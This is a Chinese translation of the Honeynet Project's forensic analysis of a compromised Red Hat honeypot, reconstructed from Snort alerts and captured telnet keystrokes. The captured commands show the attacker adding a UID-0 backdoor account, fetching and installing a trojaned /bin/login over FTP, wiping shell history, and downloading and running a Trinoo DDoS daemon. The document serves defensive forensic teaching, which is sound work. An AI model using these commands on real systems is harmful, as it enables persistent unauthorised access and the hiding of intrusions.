歡迎您光臨本站 註冊首頁

了解你的敵人IIII

←手機掃碼閱讀     火星人 @ 2014-03-12 , reply:0
  Know Your Enemy:
A Forensic Analysis
一次攻擊的學習
Honeynet Project
http://project.honeynet.org
http://www.xfocus.org
Last Modified: 23 May 2000

此文章是Know Your Enemy系列,前三篇文章涵蓋了關於black-hat團體所使用的工具和策略,這文章的目的是怎樣一步步成功攻擊系統的,這裡的重點是在我們怎樣知道發生的攻擊者和獲得信息。也提供你一些分析和熟悉你自身系統上存在的威脅。這裡也有一在線,交互的版本發布在MSNBC上。



背景

此文信息通過honeypot獲得,這裡的Honeypot安裝在REDHAT6.0上,REDHAT是默認的服務安裝,所以討論的漏洞存在在任意默認安裝的REDHAT系統上。而且所有數據沒有被處理過。下面分析的所有IP地址,用戶帳號,和擊鍵的信息是真實的,除了密碼信息,這樣是為了更直接的了解整個過程。所有SNIFF信息是通過SNORT格式體現的;SNORT是一個常用的嗅探器,對於檢測系統入侵分析來說是一個不錯的工具,我使用了在http://www.whitehats.com/上的MAX VISION 的IDS特徵。你可以在arachNIDS資料庫中查更多有關在此文章中的所有警告信息。你可以在這裡找到我的SNORT配置信息和特徵文件,包括我使用的命令行選項。



攻擊行為

在四月26號,snort提醒我其中的一個系統正受到一個'noop'攻擊,信息包裝載包含noops的信息,在此情況下,SNORT探測到攻擊和記錄了警告信息到/var/log/messages文件中(使用swatch來監控),注意這文中172.16.1.107的IP地址是含有honeypot的機器,其他的地址是black-hat(黑帽子)使用的IP地址。

Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

我的honeypots每天接受無數探測,掃描和查詢,而且下面的一個警告信息使我注意到其中一個系統可能被破壞,下面的系統LOG信息指示攻擊者正開始了一個連接和LOGIN了系統:

Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)

從上面的情況可以看到,入侵者已經獲得超級用戶權利和控制了整個系統,但這是怎樣完成的呢,我們下面開始分析:

分析

當分析一攻擊的時候,最好的位置是在開始端,即攻擊者是從哪裡開始的,攻擊者一般開始是收集系統信息,可以讓他獲得系統所存在的漏洞,如果你的系統被破壞,這就表明攻擊者不是第一次與你的系統通信了,大多數攻擊者必須通過對你系統的連接獲得初始化的信息。

所以我們從最開始的信息收集開始,從第一條信息可以知道攻擊初於53埠,這表示在我們系統上發動了一個DNS攻擊,所以我通過我的snort alerts來發現一些DNS可能的信息探測,我們發現一DNS版本查詢探測的信息:

Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53



注意,這個探測日期是4月25日,我們系統被攻擊是在4月26號,系統是在被探測后的一天被入侵的,所以我猜測攻擊者是使用一些掃描器掃描出一些關於DNS漏洞的信息,掃描以後,攻擊者查看掃描結果,獲得系統漏洞信息,然後啟用他們的EXPLOIT。這樣我們可以得到如下結論:在4月25號被檢測后,后一天被侵入,通過我們的IDS警告,我們獲知我們是被DNS漏洞攻擊。

The Exploit

類似於大多數商業IDS系統,snort可以顯示我們所有IP信息包裝載數據,我們就使用這功能來分析EXPLOIT,這個EXPLOIT信息可以從snort的LOG記錄獲得(存儲在tcpdump兩進位格式)。我查詢snort的LOG記錄並開始分析攻擊開始時候的信息包,我沒有把信息限制在僅查詢主機63.336.81.13,主要是因為攻擊者使用三個不同系統來運行這個EXPLOIT,這個EXPLOIT的目標是在遠程主機上獲得ROOT SHELL,一旦攻擊者獲得ROOT SHELL,他們可以以ROOT身份運行所有命令,還通常會在/etc/passwd和/etc/shadow文件中增加帳號,下面的細節中是獲得ROOT SHELL后執行的一些命令:

cd /; uname -a; pwd; id;
Linux apollo.uicmba.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown
/
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
echo "twin::506:506::/home/twin:/bin/bash" >> /etc/passwd
echo "twin:w3nT2H0b6AjM2:::::::" >> /etc/shadow


echo "hantu::0:0::/:/bin/bash" >> /etc/passwd
echo "hantu:w3nT2H0b6AjM2:::::::" >> /etc/shadow

從上面可以知道,攻擊者運行了uname -a 查詢了系統,和PWD查詢當前目錄,和ID查看UID,並增加了twin和hantu兩個帳號,使用了相同的密碼,必須注意,twin使用了UID為506,而hantu使用了UID為0(另一方面hantu是印度尼西亞語言中的鬼魂的意思),要知道,大多數系統中不允許UID為0的帳號遠程TELNET,所以起建立了一個可以遠程TELNET的帳號,並建立了以後可以SU到ROOT的帳號。在90秒內攻擊者利用了EXPLOIT程序進入系統,並獲得ROOT權利(可以通過下面的LOG記錄)

Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506)

現在要分析其下一步將做什麼?



獲得訪問權利后的活動

比較幸運的是,TELNET是明文協議,對數據沒有進行加密,這表示我們可以解開其蹤跡和捕獲其擊鍵記錄,而snort就做好了這些,這就是snort另一個好處,通過捕獲對TELNET會話的擊鍵記錄,我們可以判斷攻擊者在做何工作,snort捕獲了不但是STDIN(擊鍵),而且還有STDOUT 和STDER記錄,讓我們來看看TELNET會話和入侵者的活動吧:註釋文件我們用紅色來標明).

開始,我們的朋友一twin身份TELNET系統(從213.28.22.189),並獲得超級用戶身份-hantu,這裡要記住他不能以UID為0的身份TELNET。

#' !"'!"# ' 9600,9600'VT5444VT5444
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
login: twin
Password: Password: hax0r
No directory /home/twin!
Logging in with home = "/".
[twin@apollo /]$ su hantu
Password: Password: hax0r



下一步,攻擊者去其他機器抓取ROOTKIT程序,如下:

[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
local: bj.c remote: bj.c
200 PORT command successful.
150 Opening BINARY mode data connection for bj.c (1010 bytes).
226 Transfer complete.
1010 bytes received in 0.115 secs (8.6 Kbytes/sec)
ftp> quit
221-You have transferred 1010 bytes in 1 files.
221-Total traffic for this session was 1421 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.



他FTP獲得了後門程序,編譯了bj.c,並安裝代替了/sbin/login程序,(從下面的記錄來看,攻擊者使用了COPY和粘貼的工作):

[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c
bj.c:16: unterminated string or character constant
bj.c:12: possible real start of unterminated constant

然後他起用了後門程序:

[root@apollo /]# chown root:bin login
chown: login: No such file or directory
root@apollo /]# chmod 4555 login
chmod: login: No such file or directory
root@apollo /]# chmod u-w login
chmod: login: No such file or directory
root@apollo /]# cp /bin/login /usr/bin/xstat
root@apollo /]# cp /bin/login /usr/bin/old
root@apollo /]# rm /bin/login
root@apollo /]# chmod 555 /usr/bin/xstat
root@apollo /]# chgrp bin /usr/bin/xstat
root@apollo /]# mv login /bin/login
mv: login: No such file or directory
root@apollo /]# rm bj.c



後來從記錄來看,攻擊者並沒有成功,他又一次FTP到站點再次下載了後門:

[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): [root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
qulocal: bj.c remote: bj.c
200 PORT command successful.
u150 Opening BINARY mode data connection for bj.c (1011 bytes).
226 Transfer complete.
1011 bytes received in 0.134 secs (7.3 Kbytes/sec)
ftp> itit
221-You have transferred 1011 bytes in 1 files.
221-Total traffic for this session was 1422 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.



這是攻擊者第二次嘗試了編譯後門,注意他還是使用"cut 和 paste" 命令:

[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/login rm bj.cgcc -o login bj.c
bj.c: In function `owned':
bj.c:16: warning: assignment makes pointer from integer without a cast



我們注意到編譯的後門被採用,並把合法的/bin/login移到和命名為了/usr/bin/xstat,並把編譯后的bj.c代碼代替了/bin/login,這個後門程序允許任何人把TERM設定為ct9111可以進行不用認證的訪問:

[root@apollo /]# chown root:bin login
root@apollo /]# chmod 4555 login
root@apollo /]# chmod u-w login
root@apollo /]# cp /bin/login /usr/bin/xstat
cp: /bin/login: No such file or directory
root@apollo /]# cp /bin/login /usr/bin/old
cp: /bin/login: No such file or directory
root@apollo /]# rm /bin/login
rm: cannot remove `/bin/login': No such file or directory
root@apollo /]# chmod 555 /usr/bin/xstat
root@apollo /]# chgrp bin /usr/bin/xstat
root@apollo /]# mv login /bin/login



下面的是攻擊者摸去其腳印的活動,我相信他使用了腳本程序,並使用了CUT和PASTE,因為注意所有命令的執行只有一個命令提示符,並從下面的記錄我們可以知道這個清理的腳本語言名字為'generic' ,注意它是怎樣刪除這些文件的:

[root@apollo /]# rm bj.c
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por<grep inetd ; ps -aux | grep portmap ; rm /sbin/port map ; rm /tmp/h ; rm /usr<p portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/ sbin/rpc.portmap ; rm -rf<ap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.ba<bin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bas h_history ; rm -rf /usr/s<bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sb in/named
359 ? 00:00:00 inetd
359 ? 00:00:00 inetd
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# ps -aux | grep portmap
[root@apollo /]# [root@apollo /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por<grep inetd ; ps -aux | grep portmap ; rm /sbin/port map ; rm /tmp/h ; rm /usr<p portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/ sbin/rpc.portmap ; rm -rf<ap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.ba<bin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bas h_history ; rm -rf /usr/s<bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sb in/named
359 ? 00:00:00 inetd
rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
>rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
[root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory


這裡發現了一個有趣的事情,這個攻擊者使用的generic清理腳本在嘗試刪除不存在文件的時候產生了錯誤,我判斷攻擊者看到了這些信息並嘗試了手工刪除這些文件,經管這些文件不存在:

rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
root@apollo /]# rm: cannot remove `/sbin/portmap': No such file or directory
rm: cannot remove `/tmp/h': No such file or directory
rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory
root@apollo /]# exit
exit
twin@apollo /]$ exit
logout



到這裡為止,他離開了系統,並安裝了BJ.C後門,這個後門允許未認證的訪問,只要把TERM設置為VT9111即可。後來,攻擊者又多次進行了連接后修改系統。

返回后的活動,安裝trinoo

在系統被攻擊后,我離線檢查了系統上的數據,如使用Tripwire,後來,我注意到下一星期多個系統又嘗試連接這台機器,很明顯攻擊者想再次回來,所以,我又把這台機器接上來INTERNET,很好奇想知道這個攻擊者想在這機器上再做些什麼事情,果然,兩星期後,攻擊者又回來了,我們再次記錄了他的擊鍵記錄,檢查了TELNET會話進程並知道怎樣使我們的系統安裝了TRINO 客戶端程序:

在5月9號,10:45早上,攻擊者從24.7.85.192 再次TELNET機器,注意其設置了VT9111不認證進入了系統:

!"' #'!"# ' 9600,9600'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[root@apollo /]# ls
bin cdrom etc home lost+found proc sbin usr
boot dev floppy lib mnt root tmp var

在系統上,他想使用DNS,但是,這台機器上的DNS服務已經被破壞,因為DNS被用來EXPLOIT獲得ROOT許可權,因此系統不能在解析域名了:
[root@apollo /]# nslookup magix
[root@apollo /]# nslookup irc.powersurf.com
Server: zeus-internal.uicmba.edu
Address: 172.16.1.101



攻擊者在FTP系統到新加坡並下載了一些新的ROOTKIT工具,注意建立了一個.s的隱藏目錄並存儲了ROOTKIT工具:

[root@apollo /]# mkdir .s
root@apollo /]# cd .s
root@apollo /.s]# ftp nusnet-216-35.dynip.nus.edu.sg
ftp: nusnet-216-35.dynip.nus.edu.sg: Unknown host
ftp> qquituit
root@apollo /.s]# ftpr 137.132.216.35
login: ftrp: command not found
root@apollo /.s]#
root@apollo /.s]# ftp 137.132.216.35
Connected to 137.132.216.35.
220 nusnet-216-35.dynip.nus.edu.sg FTP server (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999) ready.



他在那台機器上也使用了相同的用戶名字:

Name (137.132.216.35:root): twin
331 Password required for twin.
Password:hax0r
230 User twin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get d.tar.gz
local: d.tar.gz remote: d.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
150 Opening BINARY mode data connection for d.tar.gz (8323 bytes).
226 Transfer complete.
8323 bytes received in 1.36 secs (6 Kbytes/sec)
ftp> quit
221-You have transferred 8323 bytes in 1 files.
221-Total traffic for this session was 8770 bytes in 1 transfers.
221-Thank you for using the FTP service on nusnet-216-35.dynip.nus.edu.sg.
221 Goodbye.
[root@apollo /.s]# gunzip d*
[root@apollo /.s]# tar -xvf d*
daemon/
daemon/ns.c
daemon/ns
[root@apollo /.s]# rm -rf d.tar
root@apollo /.s]# cd daemon
[root@apollo daemon]# chmod u+u+x nsx ns
root@apollo daemon]# ./ns



攻擊者安裝和使用了Trinoo客戶端,下一步他嘗試跳到另一台機器,注意他又設置了不同的VT TERM,這次連接沒有成功,因為DNS解析沒有成功:

[root@apollo daemon]# TERM=vt1711
[root@apollo daemon]# telnet macau.hkg.com
macau.hkg.com: Unknown host
root@apollo daemon]# exit
exit



這個朋友離開不久,並從其他系統上有返回來(137.132.216.35) :

!"' #'!"# ' 9600,9600'VT9111VT9111
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
[apollo /]# TERM=vt9111
telnet ns2.cpcc.cc.nc.us
ns2.cpcc.cc.nc.us: Unknown host
apollo /}#telnet 1 152.43.29.52
Trying 152.43.29.52...
Connected to 152.43.29.52.
Escape character is '^]'.
Connection closed by foreign host.
[root@apollo /]# TERM=vt7877
[root@apollo /]# telnet sparky.w
[root@apollo /]# exit
exit

根據下面的這些活動,可以知道其嘗試使用TRINOO攻擊其他系統,這個時候,我斷開了系統的連接,攻擊者企圖使用控制的機器並想破壞其他系統的目的,可以通過監視系統的連接獲得:

May 9 11:03:20 lisa snort[2370]: IDS/197/trin00-master-to-daemon: 137.132.17.202:2984 -> 172.16.1.107:27444
May 9 11:03:20 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1025 -> 137.132.17.202:31335
May 9 11:26:04 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:2988 -> 172.16.1.107:27444
May 9 11:26:04 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1027 -> 137.132.17.202:31335
May 9 20:48:14 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:3076 -> 172.16.1.107:27444
May 9 20:48:14 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1028 -> 137.132.17.202:31335



概括

我們這裡一步步的講述了我們設置的honeypot伺服器是怎樣被破壞的,怎樣被安置了後門和最後被使用為Trinoo攻擊,April 25號,攻擊者第一次掃描honeypot的DNS版本,然後在26號,他執行了NXT-NAMED 漏洞利用程序獲得了一ROOT SHELL,一旦它獲得了ROOT SHELL,她建立了2個系統帳戶,twin和hantu,接下來她馬上telnet到機器,獲得超級用戶訪問,然後下災和安裝她的後門bj.c(見下代碼),然後她在執行一腳本來清除蹤跡,接著離開系統,接下來的星期,她嘗試連接系統,但它已經離線了,最後,在5月9號她接著訪問,安裝和執行Trinoo。到這時我們的honeypot完成了任務。這裡是一些另外的分析。

結論

我們這裡講述了honeypot是如何被入侵的,目的是為了使用Forensic anaylisis系統和IDS記錄來了解攻擊者動向,通過分析這次分析,你應該對分析系統攻擊有一個較好的了解。如果你想了解更多這方面的信息,請看:怎樣構建Honeynet

我這裡要感謝Marty Roesch 和Max Vision對我們的貢獻,沒有他們的辛勤工作我做不到這步。所有記錄和信息在發表之前已經傳遞給CERT。而且我們也聯繫了所有有關這次攻擊的IP。













[火星人 ] 了解你的敵人IIII已經有465次圍觀

http://coctec.com/docs/security/show-post-72875.html